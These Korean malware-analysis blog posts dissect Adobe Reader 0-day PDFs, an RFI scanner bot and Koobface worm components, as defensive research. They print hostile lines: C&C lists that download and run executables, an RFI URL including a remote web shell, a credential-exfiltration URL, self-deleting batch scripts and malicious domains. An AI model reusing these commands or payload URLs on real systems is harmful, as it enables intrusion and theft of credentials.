0x02 analysis2009. 12. 22. 13:01


Adobe 0-day 추가 악성코드 샘플을 구했습니다.
그리고 지난번 글에서 다운로드되지 않았던 ab.exe 파일도 확보를 했습니다.

E:\04.analysis\binary\20091216_adobe reader\malware> md5sum *.*
686738eb5bb8027c524303751117e8a9 *ab.exe
8950bbedf4a7f1d518e859f9800f9347 *crazyphoto.pdf
955bade419a9ba9e5650ccb3dda88844 *merry_christmas.pdf
61baabd6fc12e01ff73ceacc07c84f9a *note200911.pdf
61baabd6fc12e01ff73ceacc07c84f9a *note_20091210.pdf
35e8eeee2b94cbe87e3d3f843ec857f6 *outline of interview.pdf
0ab2fd3b6c385049f9eb4a559dbdc8a6 *海基會協商代表團預備性磋商名單.pdf

E:\04.analysis\binary\20091216_adobe reader\malware> ssdeep *.*
ssdeep,1.0--blocksize:hash:hash,filename
6144:53Gcbn2gnsuwtasAlbkdIiXb8K/hYcZVnHIbNwJBBp5:JbwtasAV+xffZ5X5,"E:\04.analysis\binary\20091216_adobe reader\malware\ab.exe"
768:bsg8fN3eX7k3GHsF90azVWqaYXCqntyhovHhv/MVsMepOF:bTYN3z3UscazpXM25EZepG,"E:\04.analysis\binary\20091216_adobe reader\malware\crazyphoto.pdf"
24576:hX+rECBhOc3cZUJe3xcxzV78/g4b3PlD4A8C0u2IcwrjefQM8rkAC:hOrHOcaye3x+V8Y4zH8C1XaoMIc,"E:\04.analysis\binary\20091216_adobe reader\malware\merry_christmas.pdf"
1536:p0AAH2KthGBjcdBj8VETeePxsT65ZZ3pdx/ves/aQR/875+:prahGV6Bj8VE9sT6BpfneilR/8k,"E:\04.analysis\binary\20091216_adobe reader\malware\note200911.pdf"
1536:p0AAH2KthGBjcdBj8VETeePxsT65ZZ3pdx/ves/aQR/875+:prahGV6Bj8VE9sT6BpfneilR/8k,"E:\04.analysis\binary\20091216_adobe reader\malware\note_20091210.pdf"
3072:prahGV6Bj8VE9sT6BpfneiL0jbupQ1S8ZTW5RxSDeF87OiE53a0WYtjdMJokl:pYBj8V7yaRSQTWX8Deu36SmxMJ3,"E:\04.analysis\binary\20091216_adobe reader\malware\outline of interview.pdf"
3072:k36u5/nLzdqJdVmK6pM8qffaRlOxpKs3i1AE:iLzdqJdMfphqfCRlOxpK2i1D,"E:\04.analysis\binary\20091216_adobe reader\malware\???????????????.pdf"


Virustal 검사 결과는 아래를 참조하시기 바랍니다.

note200911.pdf - 11월 30일
http://www.virustotal.com/ko/analisis/27cced58a0fcbb0bbe3894f74d3014611039fefdf3bd2b0ba7ad85b18194cffa-1261453238

note_20091210.pdf - 12월 11일
http://www.virustotal.com/ko/analisis/27cced58a0fcbb0bbe3894f74d3014611039fefdf3bd2b0ba7ad85b18194cffa-1261453573

ab.exe - note_20091210.pdf를 통해 다운로드하는 파일(foruminspace.com)
http://www.virustotal.com/ko/analisis/d6afb2a2e7f2afe6ca150c1fade0ea87d9b18a8e77edd7784986df55a93db985-1261453471

outline of interview.pdf - 12월 13일
http://www.virustotal.com/ko/analisis/cd508c488bb3b0234ff480cc455761f8003ea584c4ddcc6901f2f5eea66cd25a-1261453917

merry_christmas.pdf - 12월 18일
http://www.virustotal.com/ko/analisis/8ccc882c18d927b57a33f8c6bae4d0eec3290ac7ab1d1157725918feab76ec01-1261453597

crazyphoto.pdf - 12월 18일
http://www.virustotal.com/ko/analisis/55227b229a113d8a93d823466ebdd7a94c77fa37126b330818b41d49bd9a73de-1261453598

海基會協商代表團預備性磋商名單.pdf - 12월 21일
http://www.virustotal.com/ko/analisis/0c148cfceccea8f0988021d266cfb0668b577bf77a9271bc47cfa7c93305ccc5-1261453673




국산 엔진들은 12월 18일 이후에 발견된 악성코드에 대해서 탐지를 못하고 있었습니다. 단, 21일 발견된 파일을 nProtect만 Exploit.PDF-JS.Gen.C02으로 탐지하고 있었습니다.






Posted by demantos
0x02 analysis2009. 12. 16. 16:27


New Adobe Reader and Acrobat Vulnerability

어도비 리더와 아크로뱃에서 새로운 취약점이 나왔다고 합니다.
어도비 리버와 아크로뱃 9.2버전 이하에서 해당 취약점을 통해 공격이 가능하다고 합니다.

구글링 중 미국 블로거를 통해 샘플을 확보해서 분석해 봤습니다. (Thanks Mila)

이미 바이러스랩님 블로그(http://viruslab.tistory.com/1364) 와 안랩ASEC(http://blog.ahnlab.com/asec/211)에 글이 실린것으로 보아 두개의 백신업체에서는 패턴을 만들고 있을 것으로 보입니다.




위 두개의 포스팅에서 얻은 정보를 토대로 - 0x37761부터 PE 파일이라는 정보 - exe 파일을 만들어 보았습니다.




아이콘이 상당히 조악한 파일이었습니다. 파일 설명은 "OfficeUpdate MFT 응용 프로그램" 입니다.

파일을 실행하면 http://update.microsoft.com/windowsupdate/v6/default.aspx을 요청합니다. 정상적인 요청은 아닌것으로 보이며 단순 눈속임으로 보입니다. 이 파일이 실행되면서 임시 파일을 만드는데 패킷을 떠보면 그 임시파일의 내용이 Response와 동일합니다.

디버거로 확인한 내용




패킷 덤프 내용




임시파일 내용




update.microsoft.com에 접속은 하지만 정상 사이트에서 오는 response는 무시해버리고 임시 파일에 있는 내용으로 대체하는 것으로 보입니다.

그런 후 hxxp://foruminspace.com/documents/dprk/ab.exe 를 요청하지만 파일이 없습니다. -_-;;
일단 악성도메인이니 막아야할 것으로 보입니다.

pdf를 실행하나 exe를 실행하나 동일한 현상을 나타내고 pdf 파일을 실행하면 아래와 같은 에러 메시지를 보여줍니다.




아래 루틴은 추가 악성코드를 다운로드하는 URL을 만들어내는 루틴입니다.




특정 위치의 값을 가져와서 XOR 연산을 합니다. 그러면서 실제 URL이 한글자씩 나오고 있습니다.

악성 pdf는 샘플을 두개 구했는데 모두 동일한 것으로 보입니다.
파일 사이즈도 동일하고 해쉬값도 동일하고 추가 악성코드 다운로드 경로도 동일합니다.


추가 악성코드 다운로드가 안되기 때문에 큰 문제는 없을 것으로 보이지만 패치가 나오기 전까지 조심하는게 좋을 것 같습니다.



갑자기 생각이 든게 foruminspace.com 사이트에 지금은 파일이 없는데
감염된 사람들은 이 사이트에 접속해서 파일을 요청을 하긴 할 것이고
얼마나 많이 접속하는지 확인하고나서 쫌 된다...싶으면
실제 파일 올려서 2차 감염시키는 행동을 하지 않을까...

이런 생각이 듭니다.

좀 더 추이를 살펴봐야 할 듯...

패치는 2010년 1월 12일경에 나올꺼라고 합니다.

그 전까지는 조심해야겠지요..







Posted by demantos
0x02 analysis2009. 12. 9. 17:49


IDS에서 실시간 트래픽보다가 6668 포트를 확인해보니 이상한 녀석이 있더군요...

검색해보니 RFI Scanner Bot이라는 녀석과 관계가 있는 듯 합니다.





첫번째 그림에 보시면 hxxp://perfectdate.com.au로 시작하는 링크가 있는데 블럭 지정해보면 아래와 같이 나옵니다.

hxxp://61.19.249.84:32000//accounts/inc/include.php?language=0&lang_settings[0][1]=http://perfectdate.com.au/temp/cache/userimages/shell.txt??

글씨를 흰색으로 해서 안보이게 했나봅니다. -_-;;

그런데 눈에 안보이는 URL이 계속 바뀌고 있었습니다. perfectdate.com.au에 있는 shell.txt는 웹쉘로 보이고

여러 사이트를 해킹해서 링크를 걸어 둔 것으로 보입니다.

중간중간에 "Yahoo 숫자 숫자"나 "Yahoo FiNizZ!"와 같은 문자열이 나오는데 이게 Yahoo도 있고 Lycos, Google, AllTheWeb, Hotbot과 같은 문자열도 있습니다.


자세한 내용은 아래 링크를...

http://nchovy.kr/forum/2/article/326




참고로 위에 나온 IRC는 국내 업체 서버라 통보해줬고 조만간 조치가 될 것으로 보입니다.





Posted by demantos
0x02 analysis2009. 11. 27. 16:53


얼마전에 트래픽 위주 분석을 했었습니다.
이번에는 파일을 분석해봤습니다.
원래는 같이 해야하는데 리버싱은 전문 분야가 아니라서...-_-;;

먼저 HTTP Request 발생시 요청하는 파일들을 우선으로 분석해 보았습니다.

 STARTONCE|http://e-secretary.es/.sys/?getexe=v2prx.exe
 STARTONCE|http://e-secretary.es/.sys/?getexe=pp.12.exe
 WAIT|60
 STARTONCE|http://e-secretary.es/.sys/?getexe=get.exe
 STARTONCE|http://e-secretary.es/.sys/?getexe=fb.73.exe
 START|http://e-secretary.es/.sys/?getexe=v2captcha.exe
 START|http://e-secretary.es/.sys/?getexe=v2googlecheck.exe


STARTONCE나 START와 같은 C&C 명령은 트렌드마이크로 보고서를 참조하시기 바랍니다.


0x01 v2prx.exe

이 파일은 실행 후 ze-biz.com에 접속하려 하지만 정상적으로 접속이 되지 않습니다.
3-way handshaking이 정상적으로 이루어지지 않아 연결이 끊기고 c:\windows\system32\fio32.dll을 생성해서 fioo32라는 서비스를 생성합니다. 이 서비스는 svchost에 dll injection해서 생성되고 있었습니다.

이 서비스는 8085 포트를 오픈하고 XP 방화벽 정책에 해당 서비스를 오픈해주고 있었으며 driver 밑에 fio32.sys라는 드라이버도 생성했었습니다.
그외 별다른 행동은 하지 않았습니다.


0x02 pp.12.exe

pp.12.exe는 실행 후 자기 자신을 C:\WINDOWS에 pp12.exe로 복사하고 시작프로그램으로 등록시킵니다.
그리고 재부팅 후 Fake Anti-Virus 설치를 유도합니다. 다른 조건이 있을 수 있겠지만 일단 제가 파악한 상황은 재부팅 후 어느 정도 시간이 지난후(대략 10분정도?)에 설치를 유도하고 있었습니다. 뭐...재부팅 안해도 되긴하겠지만 시작프로그램으로 등록하고 있어서 혹시나 하는 마음에 재부팅해 본 것이었습니다.

그리고 pp12.exe와 동일한 폴더에 fdgg34353edfgdfdf 라는 파일을 생성하는데 파일 내용은 "2"라는 숫자가 전부였습니다.
무엇을 의미하는 것인지 정확히 파악이 되지는 않습니다.





이 파일도 koobface 웜들과 Request가 비슷한 형태를 띄고 있었는데 따로 언급하지는 않겠습니다.
한가지만 말씀드리자면 Fake Anti-Virus 설치를 유도하는 URL이 Request에 몇개가 지정되어 있습니다.

http://austriamoney.cn/?pid=312s01&sid=4db12f
--> http://royalsecure-a.com/scan1/?pid=312s1&engine=%3DnQ15jzxOTEzOS4xNC4zJnRpbWU9MTI1LjMyMA0MaA%3DN
http://thesecurityutility.net/index.php?affid=12400
http://egafuki.cn/22/?uid=13300


0x03 get.exe

get.exe는 감염된 PC에서 지정된 FTP 프로그램이 설치되어 있는지 확인한 후 각 프로그램들이 사용하는 FTP 연결 정보가 저장된 파일들을 찾아서 C&C 서버에 보내는 역할을 하고 있었습니다.




목록은 위에 보시는것과 같습니다.
테스트시 FileZilla와 CuteFTP를 설치해서 테스트했습니다.
프로그램 설치여부 확인은 레지스트리키값이 존재하는지와 해당 프로그램 설치 후 연결 정보를 가지고 있는 파일의 위치를 찾아서 파일이 있는지를 확인합니다.





CuteFTP에서 사용하는 sm.dat 파일과 FileZilla에서 사용하는 sitemanager.xml 파일을 읽고 있습니다.
sitemanager.xml 같은 경우 xml 포맷으로 작성되어 있어 다음과 같이 그 포맷에 해당하는 정보가 있는지 찾습니다.




라인단위로 읽어서 위와 같은 태그들이 있는지 확인하고 있으면 그 정보를 저장합니다.


 
이렇게 특정 위치에 저장된 데이터는 POST방식을 통해 C&C(xtsd20090815.com)으로 보내집니다.




 

수집된 정보를 전송한 후에 SelfDel.bat 파일을 만들어서 get.exe 파일과 자기 자신을 삭제합니다.

:try
del "D:\00_malware\aa\unpack_get.exe"
if exist "D:\00_malware\aa\unpack_get.exe" goto try
del "SelfDel.bat"

get.exe의 역할은 여기까지입니다.

결국 좀비PC에서 사용중인 FTP 프로그램의 정보(IP/Domain, ID, Pass)를 C&C 서버로 전송하는 역할입니다.

 

0x04 v2captcha.exe

captcha 화면을 보여주는 역할을 하는 파일입니다.
C:\Program Files\captcha.dll이 있는지 확인하고 있으면 지운 다음 다시 생성합니다. 그리고 같은 위치에 captcha.bat 파일을 생성해서 rundll32 파일을 이용해서 captcha.dll을 실행하고 원본파일(v2captcha.exe)와 captch.bat 파일을 삭제합니다.

captcha.dll을 생성할때 읽기 전용(READONLY), 숨김(HIDDEN), 시스템파일(SYSTEM)의 속성을 부여합니다.



captcha.bat 배치파일을 생성합니다. 이 파일은 rundll32를 이용해서 captcha.dll 프로세스를 생성하고 captcha.bat와 v2captcha.exe 파일을 삭제하는 역할을 합니다.





CreateProcessA 함수가 실행되면 captcha.bat가 실행되고 아래와 같은 HTTP Request가 발생하면서 Captcha 화면이 보여지면서 Captcha 화면에 나온 문자열을 입력하면 해제됩니다.





0x05 v2googlecheck.exe

이 파일은 트래픽 위주 분석의 마지막부분에 있었던 내용의 트래픽을 유발시키는 파일이었습니다.
처음엔 그냥 무작정 트래픽만 보고 해서 애매했던게 파일을 분석해보니 정확하게 나오더군요..

이 파일은 크게 세가지 부분을 가지고 있었습니다.

1. http://capthcabreak.com/check/in.php?v=7
2. http://www.facebook.com/l.php?u=<악성URL>
3. http://capthcabreak.com/check/out.php?v=7

첫번째와 세번째는 capthcabreak.com에 들어가고(in.php) 나가는(out.php) 것을 확인하기 위함으로 보입니다.
문제는 두번째 보이는 URL이데요...하나씩 보도록 하겠습니다.

먼저 in.php를 요청하면서 들어갑니다.(지금은 들어간다는 표현밖에 생각이 나질 않습니다...ㅜ.ㅜ 저질 어휘력이 문제...)




위 그림에서 CALL unpack_v.00401000이 HTTP 패킷을 만들어서 서버에 Request를 날리는 함수입니다.
일단 첫번째 Request를 보내고 나면 C:\Documents and Settings\demantos\Local Settings\Temp에 tmp 파일을 생성합니다. 이 tmp 파일은 GetTickCount 함수의 리턴값으로 파일명을 만듭니다.




파일명을 먼저 만들고 동일한 파일이 있으면 삭제한 후 다시 만듭니다.
만들어지는 파일에는 악성URL이 들어 있는데 이 URL들이 계속 랜덤하게 바뀌는데 이 URL은 위에서 /check/in.php?v=7 요청에 대한 응답에 있습니다. 즉, capthcabreak.com 서버에서 랜덤하게 전송해주고 있었습니다.




이렇게 받은 응답을 tmp 파일에 기록합니다.
위와 아래 URL 다른것은 초반에 제가 캡쳐를 안해서 다시 실행하면서 바뀐 것입니다. -_-;;
이걸로만 봐도 계속 랜덤하게 변경되는 것을 알 수 있습니다. ^^;


 

만들어진 파일 내부에는 위에서 보셨던 악성URL이 들어 있습니다.




tmp 파일에 있는 악성URL을 자세히 보시면 http://bit.ly/7NYacB 가 나오고 0x0A가 나온 후 1007763과 0x0A가 한번 더 나옵니다.
바로 다음에 나오지만 첫번재 0x0A 이후로는 실제 악성URL에서 제외됩니다. 결국 http://bit.ly/7NYacB만 악성URL이 되고 0x0A 뒤에 나오는 숫자는 일종의 checksum 역할을 합니다.






참고
bit.ly는 URL을 줄여서 만들어주는 역할을 하는 사이트입니다. (http://bit.ly)

http://malwarelab.tistory.com == http://bit.ly/8ocgTO

일전에 K***에서 bit.ly 도메인을 막으려다가 다시 해제했던 일이 있었습니다.
악성도메인이라고 할 수는 없지만 악의적으로 사용되고 있는게 사실입니다.
언제가 될지 모르겠지만 개인적인 생각으로는 언젠간 차단될 상황이 발생하지 않을까 생각됩니다.


이렇게 실제 사용할 악성URL을 만든 후 함수 하나가 나옵니다.




이 함수는 http://bit.ly/7NYacB 에서 특수문자를 hex 형태로 변형시켜주는 역할을 합니다. 실제 함수는 아래 내용입니다.
isalnum 함수는 영문자나 숫자인지 확인하는 함수입니다.

URL에서 특수문자로 된 부분들을 찾아낸 후 특수문자를 hex 형태로 변형시켜줍니다.
: --> %3A로 / --> %2F와 같은 형태로 변형시킵니다.
0x004015DB에 있는 특수문자들은 변형시키지 않고 그대로 사용하기 위함입니다. 예를 들어 hacker.com이라는 문자열을 아래 함수에 넣으면 아무것도 변경되는게 없는 것이죠.




이렇게 특수문자를 hex 형태로 변형시키는 이유는 바로 다음에 나옵니다.
HTTP 패킷을 만들어 보내는데 악성URL이 파라미터의 인자값으로 들어갑니다.

http://www.facebook.com/l.php?=http%3A%2F%2Fbit.ly%2F7NYacB




처음에도 잠깐 나왔던 함수인데 0x00401000에 위치한 함수는 HTTP 패킷을 만들어 보내는 역할을 합니다.




함수 내부에 보면 페이로드 데이터가 필요한 HTTP 패킷이면 POST 방식을 사용하고 그렇지 않은 패킷이면 GET 방식을 사용하게끔 되어 있습니다. 즉, EBP+14와 EDI를 비교해서 같으면 점프를 시키고(GET), 같지 않으면 점프하지 않습니다(POST).




생성된 tmp 파일은 특정 위치에 저장한 후 삭제하는데 ReadFile 함수에 의해 EDI에 tmp 파일의 내용이 있는 위치를 로드시킵니다.




실제로 지금까지의 과정이 한번 더 수행하면서 바로 위에 보이는 초록색 테두리처럼 HTML 내용을 만듭니다.
0x00401765 주소에서 호출하는 0x00401558 함수는 악성URL과 HTML 내용을 비교해서 동일한 부분이 있는지 찾습니다.




위 함수의 내부 코드입니다. 실제로 비교하는 부분이죠.
아래쪽에 보시면 http://bit.ly/7NYacB가 HTML 내용에 있는지 확인하고 있습니다.




0x00401558 함수를 두번 실행하는데(아래 그림에서 첫번째는 짤렸습니다 -_-) 처음 실행한 결과를 EBP-C에 저장하고 있었습니다. 즉 악성URL과 동일한 내용이 있냐 없냐를 검사하는 함수인데 없을 경우 0 있을 경우 HTML 내용이 있는 주소값을 반환합니다.

이것은 facebook에 의해 악성URL의 차단 여부를 확인하는 것이고

EBP-C에
  - 0인 경우 /check/blocked.php?v=7&url=<악성URL>
  - 0이 아닌 경우 /check/dump.php?v=7&url=<악성URL>

과 같이 HTTP Request를 생성합니다.




앞에서 tmp에 있던 내용중 실제 악성URL 뒤에 오던 잘라졌던 숫자 기억나시죠?
checksum 역할을 한다고 했던...
그놈을 가져와서 /check/out.php?v=7의 페이로드로 붙여서 요청을 합니다.




결국 in.php를 요청할 때 악성URL과 checksum값을 받아와서 이 악성URL이 차단되었는지 차단되지 않았는지 확인한 후 dump.php나 blocked.php를 요청하고 out.php를 요청하면서 in.php에서 받아왔던 checksum값을 전송하면서 한 사이클이 끝납니다.

그리고 잠깐 쉽니다. 잠깐 쉬고(5분) 나서 EAX와 0x64(100.)을 비교해서 EAX값이 0x64보다 작으면 /check/in.php?v=7을 요청하는 루틴으로 다시 점프합니다. 즉, 위와 같은 행위를 총 100번을 수행한다는 것이죠..




100번을 모두 돌고 나면 c:\fbcheck.bat 파일을 생성합니다.




fbcheck.bat 파일 내용은 다음과 같습니다.

 :Repeat
 del "D:\00_malware\aa\unpack_v2googlecheck.exe"
 if exist "D:\00_malware\aa\unpack_v2googlecheck.exe" goto Repeat
 del "c:\fbcheck.bat"

할일 다 했으니 exe 파일을 삭제하고 bat 파일 자신도 삭제하는 배치파일입니다.

 

이상으로 최초 접속시 다운로드 후 실행하는 파일들이 어떤 행동을 하는지 살펴봤습니다.

기타 SNS 공격용 파일들은 - fb.xx.exe, tw.xx.exe, ms.xx.exe 등등 - 별도로 분석을 할 예정입니다.



짬짬이 하다보니 상당히 길어진 느낌이 듭니다. ㅜ.ㅜ




Posted by demantos
0x02 analysis2009. 11. 20. 14:57


샘플은 offensivecomputing에서 확보했습니다.

File Name : setup.exe
File Size : 40,960 byte
md5sum : d274d51cd78c9e0ee79ab61880dc22b5


이전 글(http://malwarelab.tistory.com/?page=3)에 첨부된 트렌드마이크로 분석보고서와는 약간 다른 양상을 보이고 있는 것으로 보입니다. 전체적인 큰 틀은 거의 동일하지만 파일들도 많이 바뀐 것 같고 내부 로직도 일부 변경된 것으로 보입니다.

게다가 얼마전 ASEC의 블로그에 게재된 글에서 확인된 setup.exe와 사이즈가 차이가 있는 것으로 보아 지속적으로 변종이 나올 위험성이 있는 것으로 보입니다.


먼저 setup.exe 파일을 실행시켜 봤습니다.
보통 악성코드가 실행되어 접속하는 사이트들은 악성사이트로 간주하는 경우가 대부분이고 반복적으로 실행하더라도 접속하는 도메인이나 IP가 동일한 경우가 대부분입니다. (여기서 반복 실행은 모두 깨끗한 상태에서 실행을 의미합니다)

하지만 제가 획득한 setup.exe는 달랐습니다.
매번 실행할때마다 접속하는 사이트가 달랐습니다. -_-;;

그래도 어쨋든 일정 패턴을 가지고 있었습니다.

setup.exe 실행 직후에는 모두 google.com으로 접속합니다. 이는 현재 악성코드가 실행된 좀비가 인터넷이 가능한 환경인지 확인하기 위함입니다.




그리고 나서 악성코드를 다운로드하기 위한 사이트로 접속합니다.




dozerdoggie.com나 rowanhenderson.com 사이트는 정상사이트입니다.
dozerdoggie.com에 요청한 결과에는 404 Not Found가 나오자 rowanhenderson.com에 다시 동일한 내용을 요청합니다.

/.sys/?action=ldgen&v=15




위 URL을 요청하자 특정 포맷으로 이루어진 결과를 보내주고 있습니다.

/.sys/?getexe=v2prx.exe
/.sys/?getexe=pp.12.exe
/.sys/?getexe=get.exe
/.sys/?getexe=fb.73.exe
/.sys/?getexe=v2captcha.exe
/.sys/?getexe=v2googlecheck.exe


위에서 잠깐 말씀드렸지만 setup.exe를 실행할때마다 이런 도메인들이 계속 바뀝니다.
그것도 완전 랜덤으로 바뀌는데다가 대부분 정상사이트들입니다.

이번엔 비슷한 URL을 한번 더 요청합니다.




/.sys/?action=ldgen&a=-1201776206&v=15&l=1000&c_fb=1&c_ms=1&c_hi=0&c_tw=0&c_be=1&c_tg=0&c_nl=1

위 내용을 요청하면 아래와 같은 응답이 옵니다.




이번에는 약간 다른 요청을 하는데 URL에 포함된 파라미터에 따라 다운받을 파일들이 변합니다.

/.sys/?action=ldgen& --> 목록 생성(정도의 의미로 보면 될것 같습니다)
a=-1201776206& --> ???? (무슨 의미일지 가장 궁금한데 알 수가 없습니다) 좀비IP와 연관이 있을 것으로 추정됩니다.
v=15& --> 버전
l=1000& --> PID
c_fb=1& --> Facebook 사용중인지 확인하는 파라미터
c_ms=1& --> MySpace 사용중인지 확인하는 파라미터
c_hi=0& --> hi5 사용중인지 확인하는 파라미터
c_tw=0& --> Twitter 사용중인지 확인하는 파라미터
c_be=1& --> bebo 사용중인지 확인하는 파라미터
c_tg=0& --> tagged 사용중인지 확인하는 파라미터
c_nl=1 --> netlog 사용중인지 확인하는 파라미터



파라미터값이 1이면 사용중이라는 것이고 0이면 사용중이지 않다라는 의미입니다.
사용중인 것을 확인하는 것은 쿠키가 있는가 없는가를 가지고 판단하고 있었습니다. c_ 의 의미가 쿠키의 약자인듯 합니다.

결국 사용중인 Social Networking 사이트의 정보를 빼내갈 수 있는 악성코드만 다운로드하기 위함으로 보입니다.
Twitter를 사용하지도 않는데 Twitter 정보를 빼가는 악성코드를 다운로드해서 설치해봐야 의미가 없다는 생각이겠죠.

실제로 /.sys/?action=ldgen&a=-1201776206&v=15&l=1000&c_fb=1&c_ms=1&c_hi=1&c_tw=1&c_be=1&c_tg=1&c_nl=1 와 같은 형태로 요청을 해보면 모두 다운로드할 수 있는 링크를 보여줍니다.



트렌드마이크로 분석보고서에 보면 fubar.com이나 myyearbook.com, friendster.com과 같은 사이트에 대한 악성코드가 존재한다고 해서 c_fu=1&c_yb=1&c_fr=1을 붙여서 요청해봤지만 이 세개의 사이트에 대한 악성코드는 다운로드 되지 않았습니다.

즉, 쿠키가 존재 여부를 확인하여 파라미터값을 1로 설정하여 쿠키가 존재하는 사이트의 정보를 유출할 수 있는 악성코드만 다운로드하게끔 하고 있습니다.




목록에 지정된 파일들을 다운로드해서 실행합니다.

get.exe 파일을 다운로드해서 실행하면 xtsd20090815.com 도메인으로 연결을 하면서 특정 정보를 전송해줍니다.
이 도메인은 Koobface C&C 도메인으로 get.exe 파일이 실행되면 아래에 나열된 FTP 프로그램들의 설치 여부를 확인한 후 저장된 정보가 있으면 그 정보를 C&C 서버에게 전송합니다.

<Koobface C&C 관련 참고사이트>
http://ddanchev.blogspot.com/2009/08/movement-on-koobface-front.html
http://ddanchev.blogspot.com/2009/08/movement-on-koobface-front-part-two.html

hxxp://xtsd20090815.com/adm/index.php?logs=<FTP사이트정보>






디버거로 확인한 결과 여러가지 FTP 프로그램의 레지스트리값을 뒤져서 있는 경우 해당 프로그램에서 사용하는 접속 정보를 저장하는 파일을 읽어서 logs= 뒤에 붙여서 C&C 서버로 전송하고 있었습니다. 위 그림에서는 짤렸는데 Internet Explorer를 통해 FTP 접속시 저장된 계정 정보도 유출하고 있었습니다.


Social Networking 사이트를 공격하는 악성코드들이 실행되면 다음과 같은 Request들이 발생합니다.

/.sys/?action=msgen&v=24
/.sys/?action=msgen&a=-1201776206&v=24







Reponse에 있는 내용은 최초 악성코드를 유포하는 코덱을 다운로드하게끔 하는 사이트로 연결하는 링크를 포함한 쪽지 내용들입니다. 이런식으로 계속 Social Networking 사이트 사용자들에게 쪽지를 보내 setup.exe 파일의 설치를 유도하고 있었습니다.



다운로드 되는 파일은 제가 처음에 분석하고 있던 파일들과 약간 사이즈가 다른 것으로 보아 변종으로 생각됩니다.

하지만 현재 다운로드되는 파일들이 여러 사이트를 통해 다운로드되지만 사이즈 확인 결과 모두 비슷한 파일인 것을 확인했습니다.
md5sum값은 모두 다르지만 ssdeep으로 확인해본 결과 모두 약간의 차이만 있는 변종 파일들이었습니다.

PS E:\04.analysis\binary\koobface\other_malware> ssdeep set*
ssdeep,1.0--blocksize:hash:hash,filename
384:5AZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:2ZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup.exe"
384:jAZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:EZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup1.exe"
384:DAZdwQjdy0AMi/jKqhnlso/M8gYLzZi+yjlG0pOgRGGP/orZaEocNd69xt+MlZfm:kZdwQoJpRr/MTYPZibArZanFxckZO,"E:\04.analysis\binary\koobface\other_malware\setup2.exe"

그리고 눈치채신 분들도 계시겠지만 악성코드들의 버전이 업그레이드되었습니다.
조금 전에 보셨던 요청 URL인 /.sys/?action=msgen&v=24에서 v=는 버전을 의미합니다.
처음에 보여드렸던 다운로드 파일은 ms.23.exe였는데 현재는 24입니다. 대부분의 악성코드들이 업그레이드 된 것으로 보입니다.

/.sys/?action=msgen&v=23을 요청하면 다음과 같은 응답이 옵니다.

#BLACKLABEL
RESET
UPDATE|http://inartdesigns.com/.sys/?getexe=ms.24.exe
EXIT
MD5|9f0c7d4916360cd4bc489270f5d62087


현재버전이 24이니 그걸로 업데이트해라....이런 말이죠...

처음 분석을 시작했을때(10일전)와 버전이 변경된건 2개였고 1개가 추가되었습니다.

#BLACKLABEL
#GEO=KR
#IP=221.139.14.3
#PID=1000
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=get.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=fb.75.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=be.18.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=ms.24.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=hi.15.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=tg.14.exe
STARTONCE|http://nsync.filipinaprincess.com/.sys/?getexe=tw.07.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2newblogger.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2captcha.exe
START|http://nsync.filipinaprincess.com/.sys/?getexe=v2googlecheck.exe
MD5|f6110f3897ea1241482631a2c71cf0a9



모든 감염이 이루어진 후에는 다음과 같은 Captcha 화면을 보여줍니다.



화면에 보이는 글자는 정상적으로 입력하지 않아도 화면이 풀리게 되어 있습니다. 물론 틀리면 틀렸다는 메시지를 보여주지만 다섯번 정도 틀린 후에는 정상적으로 화면이 풀립니다.
머...틀린 글자를 입력해도 풀리긴 하지만 이렇게 푼 경우에는 조금 후에 다시 captcha 화면이 보여집니다.

captcha 이미지와 관련된 요청은 capthcabreak.com과 captchastop.com에게 하고 있었는데 두개의 도메인이 동일한 IP를 사용하고 있었습니다. 실행할때마다 capthcabreak.com하고만 통신하는 경우가 있었고 간혹 둘 다 통신하는 경우도 있었는데 IP가 동일하기 때문에 별 의미는 없는 것으로 보입니다.

/captcha/?a=get&i=0&v=14 --> captch 이미지 요청
/blogspot/newblogger.php?a=names&ver=12
/captcha/tmp/go9482090.jpg --> captcha 이미지
/check/in.php?v=7
/check/blocked.php?v=7&url=http%3A%2F%2Fbit.ly%2F1ZwUlt --> setup.exe를 다운받아 설치하게끔 유도하는 사이트
/check/out.php?v=7
/captcha/?a=save&b=goo
/captcha/?a=query&b=goo&id=9482119
/captcha/?a=put&id=go9482090&v=14&code=schanato --> captcha 이미지상의 문자열 입력
/captcha/?a=query&b=goo&id=9482119
/captcha/?a=save&b=goo
/captcha/?a=query&b=goo&id=9482187
/check/in.php?v=7
/check/dump.php?v=7&url=http%3A%2F%2Fsiriuspro.com%2F122%2F --> setup.exe를 다운받아 설치하게끔 유도하는 사이트
/check/out.php?v=7

?a=save와 ?a=query는 무슨짓을 하는지 파악이 잘 안되고 있습니다.
솔직히 captcha는 별게 없어 보이는데 분석할수록 뭔가 이상한게 계속 나오고 있습니다. -_-;;

/check/in.php?v=7은 위와 같은 악성페이지들의 목록과 크기(byte)을 랜덤하게 보여주고 여기서 확인된 악성페이지를 blocked.php나 dump.php를 이용해서 악성페이지 내용을 그대로 올리고 있는데 HTML 내용을 보면 Facebook 페이지 중 하나를 그대로 사용한 것이고 continue 버튼을 누르면 setup.exe 파일을 다운로드 하는 사이트로 연결됩니다.
blocked.php나 dump.php가 번갈아가면서 사용이 되는데 아직 정확히 어떤 조건에서 둘 중 하나를 쓰는지 확인은 못했습니다.




일단은 여기까지가 setup.exe를 실행시켜 동적분석한 내용입니다.

결국 /.sys/?action= 과 /.sys/?getexe= 이라는 URL을 통해서 뭔가 행동을 하고 있습니다.
부가적인 악성코드도 받아오고 악성페이지를 보여조는 쪽지를 보내기도 하구요..

